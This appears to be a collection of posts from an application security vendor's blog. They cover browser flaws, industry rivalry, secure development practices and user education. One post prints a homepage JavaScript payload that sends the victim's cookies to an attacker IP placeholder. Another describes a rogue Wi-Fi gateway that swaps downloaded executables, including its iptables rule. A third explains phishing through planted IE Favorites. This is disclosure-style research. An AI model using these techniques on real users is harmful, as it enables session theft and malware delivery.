IBM Application Security Insider

Firefox Homepage JavaScript Execution

Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.

The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.

For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL.

The attacker must then somehow convince the victim to change his homepage to javascript:location.href='http://<ATTACKER_IP>/'
+document.cookie

When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!

Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen.

It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.

Now it is Yair's turn to find a new vulnerability in Internet Explorer :)

Untrusted Gateways - Open wireless networks

One should always ask himself if the wireless gateway he uses is trustworthy.

Depict yourself the following situation:

You are sitting in a coffee shop, seeking for wireless networks. what are you gonna do next? connect to a network which SSID's is similar to the coffee shop's name, or if none exists, connect to the first open network you find.

If the coffee shop doesn't have a wireless network, it gives a malicious user an opportunity to run his own network, on behalf of the coffee shop to attract clients. Otherwise, he will have to spoof the legitimate access-point's MAC, and race for new clients.

Everyone knows that open wireless networks are prone to sniffing, but most people are unaware of the fact that active attacks could take place as well, and it is especially easy if the malicious user controls the gateway.

This video demonstrates how an exe file is injected transparently into an innocent HTTP session.

What happens behind the scenes is the use of a transparent proxy I built, which terminates HTTP traffic, and searches for exe download patterns (Content-Type:\s+application/octet-stream to be exact). When it matches an exe pattern, it replaces the response with a malicious binary. The proxy runs on the gateway, which is fixed with an iptables rule (iptables -t nat -A PREROUTING -i [interface] -p tcp --dport 80 -j REDIRECT --to-ports [proxy interface]) that forwards all transit HTTP via the proxy.

By the use of PKI you can ensure you pass your malicious gateway without data mutation.
So consider yourself one of the following countermeasures:

1) Download binaries from SSL sites only (and verify the certificate!)
2) Use an SSL proxy (and again verify the certificate)
3) Tunnel traffic through a VPN
4) Tunnel traffic through SSH
5) Download signed binaries, and verify the digital signature.

Favorites Gone Wild

While browsing the Internet a few days ago I came across a disturbing behavior of Internet Explorer.

Internet Explorer has a feature that allows users to load a Favorite located at the root of the Favorites tree by typing its full name into the address bar. Let's say we have a Favorite named 'Watchfire' pointing to www.watchfire.com. Whenever we wish to visit www.watchfire.com, we can simply type 'Watchfire' into the address bar instead of using the mouse to select it from the Favorites center.

While this feature looks pretty innocent, I had a bad feeling about it, probably because the address bar is mainly perceived as a means for entering URLs into the browser.

Therefore, I decided to play a bit with this feature.

I browsed to Watchfire's website and added it as a Favorite, but instead of naming it "Watchfire", I used the URL of a different site (let's call it 'www.some.site'), wondering how IE would react.

From that moment on, every time I attempted to visit www.some.site by typing its URL in the address bar, the browser took me to Watchfire's website instead!

This problematic and unexpected behavior opens an aperture for persistent phishing attacks against victims. If an attacker manages to plant a malicious Favorite into a victim's browser, he/she could force the victim's browser to enter into an attacker-controlled website whenever the victim tries to enter legitimate websites.

Since most of the phishing scams rely on luring victims to click on malignant links, surfers are educated to be suspicious and careful before clicking on links they receive, and instead, they are encouraged to enter sensitive sites by typing in URLs manually.

Although this type of attack is far from invisible, as there are two clear indications that a wary surfer could easily notice (a new Favorite added to the Favorites list and the URL in the address bar changing as a result of the Favorite loading), I still think this attack might work pretty well against regular, unsuspecting surfers, especially as it exploits the trust most of us have in entering the URL address by ourselves.

In addition, some of the attack traces can be covered using standard phishing techniques, such as redirecting the browser to a closely spelled phishing URL in comparison to the original URL.

In a real-world scenario, the main obstacle to overcome in order to mount a malicious Favorites attack, would be finding a way to inject the malicious Favorite into the victim's Favorites center.

In order to overcome this technical limitation, various social engineering techniques can be used.

The "Add A Favorite" pop-up dialog of IE only presents the title of the about-to-be-created Favorite, and not the URL it points to. This lack of information could be utilized by a malicious individual mounting a social-engineering attack.

Social Engineering attacks have many shortcomings. As a result, their success rate is usually far from perfect. An automated and transparent way of planting Favorites on target computers could significantly leverage the impact and danger this bug poses to innocent surfers.

Does anybody know a way to automatically inject attacker-controlled Favorites into a victim's system? :)

Web Application Scanners Rolling Review Ends - Only One Scanner Was Capable of Scanning the AJAX web Application....You Guessed It - IBM Rational AppScan!

(Subtitle: "We Support AJAX")

Jordan Wiens just concluded the Web Application Scanners Rolling Review, which had been going on for a few months now. This rolling review was very different from past attempts, as it required scanners to be able to scan real-world AJAX web applications, and it was done extremely professionally, while putting an emphasis on scanners' capabilities, rather than on eye-candy features alone.

I must admit that I am very proud today - AppScan, a product that I have been working on for 7 years now, was the only product that managed to scan the application properly, and received great compliments from Jordan.

Here are a few excerpts from AppScan's review, and some final words:

With the exception of IBM's AppScan, automated Web application scanners are simply not yet up to the task of finding security flaws in Ajax code. And it's not like we made it hard on them

 

AppScan's review subtitle:

WatchFire Blazes Past Field.

AppScan was the only product in this Rolling Review to handle Ajax, and it did it without the gotchas that plagued rivals. Now that's hot.

And...

Not only is AppScan the most mature Web application vulnerability scanner on the market, developed in 2000 as a companion to Sanctum's AppShield Web application firewall, it's now owned by one of the most well-known names in computing, IBM, as a result of Big Blue's July acquisition of WatchFire. In the context of this Rolling Review, we weren't sure AppScan's experience would be enough: The Ajax applications we've been feeding our scanners have proved troublesome, even for long-established products. Fortunately for IBM, AppScan looks like a sound investment. It impressed us with its ease of use, advanced functionality and reliability and was the most successful so far at traversing our Ajax applications.

A few words about AppScan eXtensions (and in particular PyScan):

For advanced users, AppScan's built-in utilities are nearly on par with the rich suite of tools integrated into WebInspect. Additionally, since version 7.5, AppScan has taken a cue from the popular Firefox browser by allowing users to develop extensions that can integrate into the product. These add-ons reflect the growing popularity of open-source products and communities. In fact, one sample extension is a complete development environment in itself, integrating the popular open-source scripting language Python with the core engine in AppScan.

Much of the value in a scanner stems not just from how accurate it is, or how flexible its reports are, but from how seamlessly it can be incorporated into your existing workflow to provide meaningful and actionable data throughout the development process. Exposing the product via extensions is a great way to allow customers to use AppScan in a way that best fits their particular needs or environment. Take the Pyscan module. An organization might implement custom scans of different branches of an application under development by automatically scripting both scanning and reporting as code is forked for reuse or checked into a source-code repository. Having the simplicity and popularity of Python tied to the scanning engine that makes AppScan tick is a powerful combination. Creative types will discover a variety of potential uses.

Look, I can sit here, and start lashing back at people who keep saying that automated web application scanners are *pure evil*, but as Master Yoda once said:

Fear is the path to the dark side. Fear leads to anger. Anger leads to hate, and Hate leads to suffering

I think Jordan's Rolling Review proved an important point.... AppScan Rocks!

 

 

** Disclaimer: the author of this blog post does not believe that you can completely secure a web application by only running an automated tool. You can read my thoughts on this subject in my award winning blog post Man vs. Machine

Cucumber Season in WebAppSec Land?

For those of you who are not aware of what the Cucumber Season is, I have included a short paragraph to get you up to speed on the subject:

"Cucumber season". The term, from Norwegian, refers to the period from sometime in early June, when Parliament and the public schools recess, until mid-August when the schools start up again and people return from their summer holidays. The name of this season comes from the observation that during this period, newspapers have little to write about - since nothing much happens - and so are forced to report on non-news, such as outsized and/or weirdly shaped vegetables such as cucumbers. By extension, the term refers to newspaper articles as well - a padded-out news item of dubious importance and inflated headline is referred to as a cucumber.

Well, I'm no Norwegian, but I can sure smell hype when I read blog posts and articles such as the one recently published over at SearchSecurity.com titled "Google, Yahoo, Microsoft vulnerable to authentication token flaw".

Being the curious guy that I am, I just had to check out this oh-so-frightening blog post, only to discover that:

Researchers at the United States Computer Emergency Readiness Team (US-CERT) have discovered a flaw in the way some Web sites handle authentication tokens. The agency issued an advisory Friday warning that some sites are transmitting authentication data, such as cookies without encrypting the entire session, even when the authentication material is initially set over an encrypted HTTP session.

Wait, wait, wait!!! let's read this again, slowly...

The agency issued an advisory Friday warning that some sites are transmitting authentication data, such as cookies without encrypting the entire session, even when the authentication material is initially set over an encrypted HTTP session.

¡Ay, Caramba! transmitting authentication data without encrypting the entire session, even when the authentication material is initially set over an encrypted HTTP session??? You don't say...

What year is this? where's my Delorean? what happened to the Flux Capacitor? is this 2007? it feels as if we're back to 1996. Next thing you know, US-CERT will publish a vulnerability about PHF.

Ok, I've had my fun, now let's get to the moral of this post - 

1. You know that it's Cucumber Season in WebAppSec land when a trivial issue such as this is published with the title "[HUGE COMPANY NAME HERE] Vulnerable to [LAME VULNERABILITY NAME HERE]"
2. I don't know what's more sad - the fact that CERT actually researched and posted this advisory, or that companies such as the ones mentioned above, still have such trivial issues in their web applications
3. It's Cucumber Season in WebAppSec land, and I didn't have anything better to talk about.

One small thing before I sign off -

if you haven't seen or heard about the WASSEC project - check it out.

A Wild Safari

An ancient African proverb goes like this:

Every morning in Africa, a gazelle wakes up.
It knows it must run faster than the fastest lion or it will be killed.
Every morning a lion wakes up.
It knows it must outrun the slowest gazelle or it will starve to death.
It doesn’t matter whether you are a lion or a gazelle.
When the sun comes up, you better start running.

Jeremiah Grossman recently commented on a curious topic which I have long thought about – if the statistics are so grim (75% of attacks are against the application, and almost 90% of applications are vulnerable), why then do we not see more incidents in the real world?

We are gazelles and yet I have never have been bitten?  What if 75% of lion attacks were on gazelles and 90% of gazelles could not run faster than lions – then what?  Would the gazelle population be reduced by 90%.  No.

I would argue that being attacked by the lion is only one consideration.  The reality is not so simple.

The Number of the Lions
It is an unavoidable truth that there are lions.  Further, I’m sure the gazelle would like to know when it wakes up how many lions happen to be crouching in the tall grass nearby.  However, the gazelle has little to no warning of an imminent attack.  The smart gazelle assumes that at all times, there is one lion stalking them.  Reality?  The gazelles continue to exist as there are far more of them and their population grows quickly.

I don't have any real good statistics on how many malicious attackers are attempting harm in the web application space, but I have to believe that the number of applications and organizations far outnumber those who would attack us.

The Number of Gazelles
True or false? The gazelle must run faster than the fastest lion.  False.  The gazelle only must outrun as many gazelles as there are lions.  If there are 20 lions and 40 gazelles, he merely needs to come in as one of the top 20 of his peers.  In this manner, his peers might also be his enemy.  If he is on the low end of the speed spectrum, it may be that he ends up as the soft target.

We all agree that there is no such thing as "secure".  Sometimes it may be enough to merely not be the one who is the least secure.  Is that a defense?  No.  But sometimes we accept rather than mitigate  risk, and we are not bitten.

Attractiveness
As a target, some gazelles might appear more attractive?  Distinguishing oneself from the herd can be a dangerous game and one that should not be lightly entered.  Collection of highly attractive data (financial information, military secrets, and valuable assets) often makes one gazelle appear plumper than its peers.  While this distinction is often unavoidable, it seems to be a certainty that the lions consider some targets as more attractive.

Do you have a choice in how attractive you are?  Sometimes yes.  Sometimes no.  It may be that the business dictates your attractiveness.  Certainly a Microsoft is more attractive than Mom and Pop's Bait and Tackle.  However, we would do well to remember one of the key tenets of the IAPP fair information practices: limiting collection.  Sometimes we could make ourselves a more attractive target by retaining more information than needed

--

I do not want to leave you with the impression that you can hide within the herd.  Playing the "wait and see" game can be dangerous.  However at the same time, I believe it spreads fear, uncertainty and doubt when we only talk about the lion.  There are gazelles that die of old age, despite the fact that they can not outrun the lions.

Can I Buy a Vowel?

As the vowels of the English alphabet (A, E, I, O, U) are integral to the English language - both written and oral; so too are certain actions for addressing security in software - both web-based and traditional.

I’m often asked by companies to help document some of the essential actions they can take while attempting to build better, and therefore more secure, software.  Let’s distill this down to five essential actions an organization can implement in order to build more secure software.

Artifact Collection

It is no mistake that artifact collection must be the first vowel in this list.  As has been succinctly stated by others, metrics matter.  You can’t be serious about improving something if you are unable to measure it.  Measurement is required for establishing a baseline, for establishing goals, for calculating improvement and for determining success.

Many organizations are quick to establish artifact collection and measurement in one area of development such as requirements or bug tracking, but forget that this equally applies to more manual processes.  This might include a process artifact such as an architectural risk analysis or a people artifact as to whether a certain developer has attended training.  Regardless of the artifact type, a central repository for the collection, measurement and monitoring of artifacts is essential to building more secure software.

Enablement

The second action to consider is enablement.  Enablement pertains to individuals and should include three core areas: education, resources and tools.

Education of development teams with respect to security has long been considered an essential element to designing, building and deploying secure software.  This education can cover basic security principles, threat classifications, threat modeling, or perhaps cover even more fundamental topics such as essential practices for good software development.  Education enablement should not be a one-time thing.  Establishing a repeatable program that allows for refresher courses, growth and maturity is valuable to developing one of your most important assets in the software development process – the developer.  Valuable progress has been made using bite-sized 15-minute web based training programs (which of course can be measured as an artifact) as an education enablement method.

Why have we entered such an era of unparalleled growth in recent years in the software industry?  I believe it is because of access to resources.  We have been enabled to grow and expand at a previously unparalleled rate due to access to online resources.  Think Google.  Why not enable the developers internally through a similar internal resource library?  By establishing items in the library such as the previously mentioned web-based training, best practices guidelines or certified components, we enable the developer to focus on what they were meant to do – develop software.  We don’t want our developers re-inventing the wheel.  Why would we ask them to re-architect a method for validating an email address?  We can enable them through access to a proven certified component which is stored in a resource library.

Enablement of people and process is also fundamentally addressed through tools.  We all recognize that tools do not build secure software in themselves, nor do they fix the technical and logical issues which they are able to find.  As an example however, they may enable the individual to understand these deficiencies and make intelligent recommendations.  They enable the developer.  By granting access to tools that are able to perform these assessments, we enable the developer to be self-sufficient, reducing time and costs in the software development process.

Incremental Security

I have seen countless security initiatives fail because the ocean simply would not boil.  How many different security threats do you suppose there are?  I don’t have a number for that.  Any given security assessment tool may have hundreds to thousands to tens of thousands of different types of checks.  It simply does not work to attempt to run tools and report on all findings.  The ocean doesn’t boil and people are frustrated.

Incremental security testing is essential for a successful security initiative.  Start with one or two high priority security issues that make sense for your organization.  Secondly, I suggest you look for two commonalities between them: a common root cause and a binary pass/fail automated test that can not be contested.  The benefit of focusing on a common root cause is that the developer does not focus on what happened, but why it happened.  For example, Mitre reports that cross-site scripting (XSS) and SQL injection were the two most commonly reported vulnerabilities in 2006.  Perhaps these are the two issues that you begin with.

Ongoing Security Testing

One of the core successes of the Agile development methodology is that it is both incremental and iterative.  This means that the software is built early and often.  This allows transparency early in the process to where the largest obstacles will occur.  Should a problem arise, a decision can quickly be made as to whether the efforts should be redirected or canceled.  Security testing is no different.  It greatly benefits from ongoing, iterative analysis.  While logical vulnerabilities should be architected out of the software during the inception and elaboration phases, technical vulnerabilities have the tendency to arise due to developer or implementation error.  Remember, security is an emergent property of the software development process.  That is, the vulnerabilities tend to emerge as the application is constructed and can continue to appear in the ongoing maintenance phase.  By performing automated ongoing or iterative security testing, the software benefits from having the technical vulnerabilities discovered and corrected as early as possible.  It is no secret that correcting issues early in the software development lifecycle represents significant savings for the organization.

Unify the Policy

I purposely want to stay away from the term “Unified Process” as I do not want to refer to a specific development framework.  Instead, this last vowel is merely the recognition that a strong unified policy should exist – which may well include a core development framework.  While every large (or small) organization practically has many methodologies or variations of a methodology for developing software, it has been recognized for some time that implementing a unified and consistent process and policy results in better quality software.  While I do not want to go on about the merits of various frameworks such as Waterfall, RUP, XP, or Spiral, it is unquestionable that some level of discipline regarding the unification of the development process is valuable.  A unified policy should include very fundamental concepts such as the defined code framework and certified components that will be used.  Usage of proven, mature frameworks drastically improves the quality of software.  This policy should also define the required feedback loops from internal, external and software sources.  Going further, this policy would define the more manual techniques that are required outside of automation.  Unification of these processes, tools and results are what establishes a more complete and unified policy.

--

Regardless of the actions taken in implementing a strategic software security strategy, or the discussion about what the priority should be, it remains infinitely clear that “something” has to be done.  The statistics are against us.  Perhaps these five action vowels don’t seem to map to your organization.  I won’t argue.  It is sufficient that we open the dialog about these actions.  Me?  The five vowels are easy to remember and I’ve seen these simple steps bring success: Artifact collection, Enablement, Incremental security, Ongoing security testing and a Unifying the policy.

Looking for Parental Guidance

When IBM and HP made their recent purchases (Go Big-Blue!) there was a lot of uneasy stirring everywhere. Some from genuine concern, some from pure jealousy. There were of course little sneers aimed at sowing fear in the hearts of automated web scanners clients. Shaking up what looks like a pretty sturdy future. It fueled the belligerent fire that was already burning. Recent back-and-forths got to a point where even Ory, that stays away from this usually, had to comment on them in a recent blog post. It's all degrading into a weird Latin-American Telenovela. In that case, the up side of these purchases (and future ones, I'm sure) is the calming affect. People tend to feel a bit more secure in a large nest. In addition, big companies frown when employees make them look bad with inconsiderate trash-talk. It looks like that's just what is needed: a little adult supervision. Like street gangs, some are resorting to cyber-graffiti. We all want to feel rebellious and anti-establishmental, but it needs to calm down before someone gets cyber-violent on somebody.

The final trash-bit that prompted Ory's comments were answered to in a classy fashion. Very Classy. Nicely done. Very grown up. This? not so much. The link, sadly, is no longer there...I guess the adults were keeping an eye out after all. I'm referring to an interesting, to say the least, response to a recent court filing of Cenzic vs. SPI. There has got to be a better way of expression then School-yard rules. The hacking world (web-application research or not, it's still hacking) is feared and misunderstood in the world, and this does not really inspire the kind of feelings that says "Hey, these guys are serious, professional, and we should all take notice". Really? A sarcastic, juvenile "Yo' Mama" was the best thing you could come up with? An adult, intelligent human being?

Save it for the basketball court. We all feel passionate about our work, but it can certainly be kept on a professional level.

Now, don't get me wrong. I'm sure that 17th century mathematicians trash-talked each other in the back of the chapels "Newton stole my derivation for that..." and "I can show Euler where he can shove his graph for this..." . I'm sure that if Farnsworth vs. Zworykins and Marconi vs. Baird had access to the blogosphere, they would be every bit as nasty as we can be. Albeit, a little more clever, I would bet.

And they sued. Oh man, did they sue. Which brings me back to IBM.

IBM holds about 40,000 patents world wide. It has generated and filed for tens of thousands more, I would imagine. Now, IBM isn't looking to corner any markets with these ideas. It's not going to generate the next $100BN in revenue. Microsoft crossed the 5000 mark in 2006. Contrary to common opinions, Microsoft generates the bulk of its revenue from cornering markets, not suing for patent rights.

So why are they doing it? Why invest millions in research and in patent applications? 40,000 patents represent hundreds of millions of dollars in filing fees alone. Well, they serves as a counterweight for cross-licensing patent agreements. Beside being bitter business enemies, IBM and Microsoft have one of the biggest cross-licensing agreement out there.  "Share and share alike" may be an over generous description, but it is certainly beneficial for everyone. Whoever does the best job wins. That's how the big boys play it. That's how the adults manage their business.

I wonder how many people have heard of Farnsworth or Zworykins. The number of people that heard of Marconi is larger by several orders of magnitude (albeit, still not enough people are aware of him). Why? Because at the end of the day he did a better job. He made a better radio and gave us a better TV. No matter who was there first and who owns this patent or other.

We've talked about the OS wars. I have no strong feelings either way. I want what's easiest for me to use. And at the end of the day, if we have more competition, we're all better off. The only reason we should want Mac and Linux to charge forward, is so the world can get a better Windows! In that case, everyone wins. (I'm a Mac user, if anyone out there wanders)

Everyone should understand, as has been remarked before, that we need to synergize (how markety of me) pen-testing, code scanning, and automated testing . But in each field, we must have fair and professional competition. Otherwise, all the world will get is a crappy Windows-esque application for our web-application security needs.

Suing for patent rights on something so vague and encompassing is truly the last resort of the desperate. It wont get anything done. Patent cases take years and years, and they never saved a company from the market forces. They make a lot of lawyer wealthy, but no one ever got rich from hard work, they say (SCO vs Linux, anyone?).

Anyway, we need to be a bit classier in our collaborations and competitions. Academic research on one hand and business competition on the other. They are not mutually exclusive. 

We should give each other credit for the work, and still out-do each other in field.

Dare I ask: Why can't we all just...get along? (You have to imagine Jack Nicholson asking this of the Martian ambassador for the right affect, although being stabbed in the back countermands my point).

Last note: I used Telenovela in counter to Ory's Soap Opera because this will not go on forever, and the end is predictable.

Periodic Blurbs (Warning: Exhortation Inside)

There are so many things to talk about these days, but I don't have the time to start writing long posts on each and every subject, so I've decided to dedicate yet another "periodic blurbs" post to them all.

• Anurag Agarwal started a (blessed) thread on browser security restrictions, in which he suggested a high level solution for vulnerabilities such as XSS and XSRF. After reading this thread, and following some of the links, I've discovered that there is an abundance of suggested solutions for browser insecurities, and it seems to me that a lot of people took a stab at what I believe would be the next evolution/revolution in web security. Now, all we have to do is start nagging to browser and server vendors, to join hands in the war against client-side attacks. If you are interested in "browser security revolution" - check out these links:

1. Ivan Ristic (Mod Security) proposed what I think is the most holistic and promising solution for browser security. He even gave it a TLA, calling it SBM (Secure Browsing Mode). You can't beat that.
2. Ivan's work references Gervase Markham's article called Content Restrictions - which I believe is probably the best solution around. This is a must-read article!
3. While researching the subject, I stumbled upon a very interesting research paper called "Defending against Injection Attacks through Context-Sensitive String Evaluation". The paper was written by two IBM researchers (go IBM!), Tadeusz Pietraszek and Chris Vanden Berghe, The paper describes an approach for defending against injection attacks such as XSS, SQL Injections, Shell command injections, etc. by addressing the root cause of these attacks - ad-hoc serialization of user provided input. Definitely worth reading.
4. PDP shares his own (pessimistic) thoughts on the subject of browser security. Here are a few quotes to wet your appetite:

   So yes, we can setup a policy but it will never take off. First of all standardization bodies needs to except it. Then browsers have to implement it and we have a browser war going on at the moment. No developer will implement a standard that is not widely adopted.

    

   IMHO we need to look at security personalization options within the browsers rather then inventing new standards that may crash and burn like they’ve done so far.

    

   Let’s get back to the question about CSRF. You can’t stop CSRF. This is it! The technology does what it is supposed to do. I see how some policies can be used for good, for example in situations where attackers are after your router through some sort of CSRF attack, but again, I seriously doubt that something like what Anurag has proposed will ever work. For sure it will improve the situation security wise in certain areas but at the same time will make Web technologies rather inflexible which is something that developers hate. I don’t think that people like crossdomain.xml either, and this is the reason why most sites allow everyone to connect to their stuff, although they probably don’t know about the dangers of doing that.

5. Several researchers from the IBM Tokyo research labs (Go IBM!), explain the security issues with today's browsers and propose their own solution for the problem in this very interesting presentation called "Security Model for the Client-Side Web Application Environments"

 

• I've seen a few cases lately, where people are becoming more and more aggressive about what they believe in. A friend from work claims that people in the software industry turn everything into a religion (e.g. Linux vs. Windows, Blackbox vs. Whitebox, Manual Pen Testing vs. Automated Scanning, etc.). When I started this blog, I promised myself that I will not get into personal fights with people, I will not slander, trash or badmouth anyone in the industry just because I don't share their thoughts - and believe me, this is hard, because I am a very enthusiastic person. Check out this latest soap opera (I tried to keep the actual time flow): "Detecting, Analyzing, and Exploiting Intranet Applications using JavaScript" >> "Timing attacks on web privacy" >> "Putting up, then shutting up" >> "RSnake Puts Up" >> "Drama".

 

• [Trash Alert] The soap opera mentioned above, reminded me that some people in this industry really don't have any class or style. You see, some players in the web application security market are finding it hard to sell their products by presenting their own products' virtues and benefits, so they use the tactics of leeching on to their competition (usually using FUD), and in some cases, I believe they cross the line. BTW, the same competitor that was mentioned above, actually uses the Watchfire & SPIDynamics logos on their own web site - how desperate can you get to actually incorporate  your competitors' logo in your own ad?!?!

 

• While I am on the subject of "security wars", it seems to me that the web security market is so ripe (and hence, loaded emotionally), that people have completely lost their heads. Instead of joining hands and cooperating to educate the market, they prefer getting at each other's throats, over and over again. For crying out loud, we should all be saying the same thing -- Being secure is not about using whitebox or blackbox technologies, it's not about using a hosted service, or an application firewall, and it will certainly not come if you only use an automated scanner -- like anything else in the software world, security is all about perception, process, and methodology. If you want to secure your applications, make sure that you (and your development & QA teams) know what the actual problem is, that you have a process for eliminating security issues from the project inception phase, and up until the application goes GA (and even further). You have to implement a security process throughout your entire development lifecycle, using more than a single solution or product.

This industry needs to preach for a holistic approach to web application security, to encourage end users to use multiple solutions, tailored together for a complete solution instead of turning against its own members, in what oftentimes looks like a farce.

 That's it for now.

Air Bags by Popular Demand

It has been almost ten years since anyone could buy a car without one or more air-bags (at least in the US and Europe). It has been more than twenty years since cars without three-point restraint seat-belt systems were available. Car manufacturers were not happy about all of it at the beginning because it drove costs up and it involved additional research investment.

Public opinion and related industries drove lawmakers to push (and then mandate) technologies such as air-bags, early warning break lights, and anti-lock breaking systems. Aside from the consumers' enjoyment of safer transportation, insurance companies also benefited (financially) from the deal. Today car safety is a burning issue for anyone looking to buy a new car.

Why don't we see public pressure to make our web-sites safer? Why do most people scrutinize their prospective car better then their bank's Internet safety policy? Why do people read about crash-test results in magazine and new-papers motor sections? Why do so many people know what it means that “Somecar SL” made by “MotorMaker Inc.” scored a 5 on the European NCAP tests?

The answer is education: People look at the little lock at the bottom (or top) of their web browser and say "Yey! Safety!" Curiosity might drive some of them to look at the certificate behind the lock, and read about how one important sounding company verified and authenticated and identified the web-site. Web application security is so much more than that.

Jeremiah Grossman wrote about education. I agree that web-developer and web-testers should be made more aware of the dangers inherent to web-applications. But not only them. The users of these applications need to be able to demand safety, except they don't know they need to.

Ever see a crash test dummy thrown through a window? Who hasn't? There isn't a person alive today in the western world that hasn't marveled at the speed an airbag opens, catching, in slow-mo, the dummy's head it slams helplessly towards the steering wheel. It's in commercials, news reports, and MTV videos. It certainly drives the point home. We all want air-bags in our cars. We know why. We know what can happen if we don't. We care about safety features and design of our vehicles in a level that exceeds the knowledge required for normal use.

And to ease our minds, we do not crash cars to test them. We have bodies we trust to do that for us. European standards institutes, independent safety magazines, etc.

What about web-applications?

I have to confess: until three months ago I was a part of the ignorant mass. I clicked on the Locked icon and in knowing self-importance thought: "VeriSign, yes, good. Oh, look, forms and fields! Yes. Very good! This site is secured. It is safe."

I was even clever enough not to press links in emails: always copy-paste them into the browser. You never know what really lurks behind the link's text, certainly not from an unfamiliar source.

But then I came to Watchfire and learned a few things. About the inexcusable ease that a web-application can be hacked, if the right web-app-developer fell asleep on the job.

I saw a live presentation of the Google-desktop hack. I then thought: I don't know anything about UTF-8 or URL encoding. Despite thinking of myself as Internet-clever, I considered the following scenario:

I get an email from a friend, telling me to check out a funny Google-search. I look at the link and despite all the odd ?, %, &, and numbers it looks perfectly normal to me. I copy, and paste it into my browser. I get a host of pictures of nuns riding unicycles.

Now, my friend got the message forwarded from another friend, which came from a brother, which came from a class-mate, who's not really sure who the mail was from, but thought nuns on unicycles are pretty hysterical. This way a chain of trust is established that resulted in me exposing my machine to the whims of a malicious hacker through my beloved Google Desktop application (which is a web-app for all intended purposes).

But it’s not just trust-chains. It’s the promise of fun that makes most people ignore common sense and develop trust toward things that do not warrant the trust. The phenomenon is widely recognized and has been named: The Dancing Pigs Problem. People are easily tempted by dancing pigs. People are easily distracted by shiny, sparkly, exciting things. As remarked by Bruce Schneier, even if the warning is clear and unambiguous, the everyday web-surfer will choose to ignore it with the promise of some enjoyment.

As a community, web-app security needs to tackle the masses. We need a way to drive the point home. People use the Internet and its peripheral services and have no understanding of the technology or the risks involved. People download, share, do business, send and receive, talk, watch, play, read, write, and live virtual lives in a virtual universe. People learn about internal combustion and the hazards of navigating traffic in high school. There are vehicle-safety documentaries by the dozens. The only documentaries about the Internet are about sensational hackers and their crimes. People are angry at attackers, and not about their web-app providers for not protecting them and their data.

As technologists and engineers, we are so used to the Internet technologies. All the ignorance out there does not even occur to us. We need to start with simple examples, not to be afraid to approach the public as children. Remember that we need to start at the beginning. Explain things step by step until a greater understanding prevails.

Once the users become more and more clever, they will start approaching their service providers and ask them: What body governs and approves your site security? Which standards do you hold yourselves to?

The web-application providers will start generating and seeking standards on their own. The security community needs to help bring that change about, and then to be there to work together with the industry to create the safer Internet-world we all need and deserve.